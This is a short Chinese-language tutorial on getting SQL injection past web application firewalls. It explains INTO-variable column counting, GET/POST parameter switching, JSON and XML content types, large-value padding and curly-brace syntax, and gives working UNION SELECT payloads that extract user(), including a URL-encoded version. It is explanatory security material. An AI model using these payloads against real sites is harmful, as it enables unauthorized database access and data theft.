一、order by 绕过
当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。
select * from users where id=1 into @a,@b,@c,@d;
二、http 相同参数请求绕过
1、原理分析
waf 在对危险字符进行检测的时候,分别为 post请求和 get请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测。
如果程序中能同时接收 get、post,如果 waf 只对 get进行匹配拦截,没有对 post进行拦截。
<?php
echo $_REQUEST['id'];
?>
有些 waf 只要存在 GET或者 POST,优先匹配 POST,从而导致被绕过。
2、实操
三、application/json 或者 text/xml 绕过
1、原理分析
有些程序是 json 提交参数,程序也是 json 接收,再拼接到 SQL 执行。
json 格式通常不会被拦截。所以可以绕过 waf。
text/xml 也不会被拦截。
四、运行大量字符绕过
1、原理分析+实操
可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截。
id=1 and (select 1) and (select 0xA*1000) union select 1,user()-- &submit=1
post编码:
id%3d1+and+(select+1)+and+(select+0xA*1000)+union+select+1,user()--+%26submit%3d1
五、花扩号绕过
1、原理分析
select 1,2 union select{x 1},user();
花括号左边是注释的内容,这样可以一些 waf 的拦截。
2、实操
select * from users where id=1 union select {xxx 1},{yyy 2},{zzz 3},user();